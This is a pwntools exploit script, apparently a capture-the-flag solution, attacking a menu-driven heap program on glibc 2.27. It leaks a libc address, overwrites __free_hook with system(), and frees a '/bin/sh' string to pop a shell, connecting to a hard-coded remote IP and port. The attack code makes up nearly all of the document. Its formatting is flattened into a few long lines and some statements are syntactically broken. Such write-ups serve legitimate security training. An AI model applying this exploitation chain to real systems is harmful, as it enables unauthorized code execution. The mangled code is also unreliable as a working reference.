1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127
|
from pwn import * import os
r = lambda x : io.recv(x) ra = lambda : io.recvall() rl = lambda : io.recvline(keepends = True) ru = lambda x : io.recvuntil(x, drop = True) s = lambda x : io.send(x) sl = lambda x : io.sendline(x) sa = lambda x, y : io.sendafter(x, y) sla = lambda x, y : io.sendlineafter(x, y) ia = lambda : io.interactive() c = lambda : io.close() li = lambda x : log.info('\x1b[01;38;5;214m' + x + '\x1b[0m')
context.log_level='debug' context.terminal = ['tmux', 'splitw', '-h']
elf_path = 'pwn' MODIFY_LD = 0 arch = '64' libc_v = '2.27'
ld_path = '/glibc/' + libc_v + '/' + arch + '/lib/ld-linux-x86-64.so.2' libs_path = '/glibc/' + libc_v + '/' + arch + '/lib' libc_path = '/glibc/' + libc_v + '/' + arch + '/lib/libc.so.6' libc_path = './libc.so.6'
if(MODIFY_LD): os.system('cp ' + elf_path + ' ' + elf_path + '.bk') change_ld_cmd = 'patchelf --set-interpreter ' + ld_path +' ' + elf_path os.system(change_ld_cmd) li('modify ld ok!') exit(0)
server_ip = "124.70.158.59" server_port = 30023
LOCAL = 0 LIBC = 1
def db(): if(LOCAL): gdb.attach(io def add(idx, i, d, d2): sla('Your choice:', '1') sla(':', str(idx)) sla(':', str(i)) sa(':', d) sla(':', d2) def logout(i): sla('Your choice:', '2') sla(':', str(i)) def update(i, n): sla('Your choice:', '3') sla(':', str(i)) sla(':', n) def view(i): sla('Your choice:', '4') sla(':', str(i)) def chat(): sla('Your choice:', '4')
def exploit(): li('exploit...') add(0, 0x81, b'A' * 0x58 + p64(0x4B1), b'C' * 0x10) add(1, 0x81, b'B' * 0x1, 'B' * 0x10) add(2, 0x81, 'C' * 0x1, 'D' * 0x10) add(3, 0x81, '/bin/sh\x00' * 0x1, 'E' * 0x10) add(4, 0x81, 'E' * 0x1, 'F' * 0x10) add(5, 0x81, 'F' * 0x1, 'G' * 0x10) add(6, 0x81, '/bin/sh\x00' * 0x1, 'H' * 0x10) add(7, 0x80, 'H' * 0x70, 'B' * 0x10)
logout(1) add(8, 0x81, b'B' * 0x1, 'B' * 0x10) view(8) leak = u64(ru('\x7f')[-5:] + b'\x7f\x00\x00') main_arena = 0x3afc40 main_arena = 0x3ebc40 libc_base = leak - main_arena - 0x3a2 - 96 free_hook = libc_base + libc.sym['__free_hook'] sh_str = libc_base + 0x1b40fa li('libc_base: ' + hex(libc_base)) add(9, 0x40, b'O' * 0x28 + p64(0x41) + p64(0) + p64(0x91), '') logout(2) add(10, 0x30, b'G' * 0x10 + p64(free_hook) + p64(free_hook), p64(free_hook))
add(11, 0x81, 'F' * 0x1, 'G' * 0x10)
add(12, 0x81, p64(libc_base + libc.sym['system']), b'G' * 0x8 + p64(0x91))
add(1, 0x81, '/bin/sh\x00' + 'A' * 0x10, 'G' * 0x10) update(1, '/bin/sh\x00') logout(1) def finish(): ia() c()
if __name__ == '__main__': if LOCAL: elf = ELF(elf_path) if LIBC: libc = ELF(libc_path) io = elf.process(env = {"LD_LIBRARY_PATH" : libs_path, "LD_PRELOAD" : libc_path} ) else: io = elf.process(env = {"LD_LIBRARY_PATH" : libs_path} ) else: elf = ELF(elf_path) io = remote(server_ip, server_port) if LIBC: libc = ELF(libc_path)
exploit() finish()
|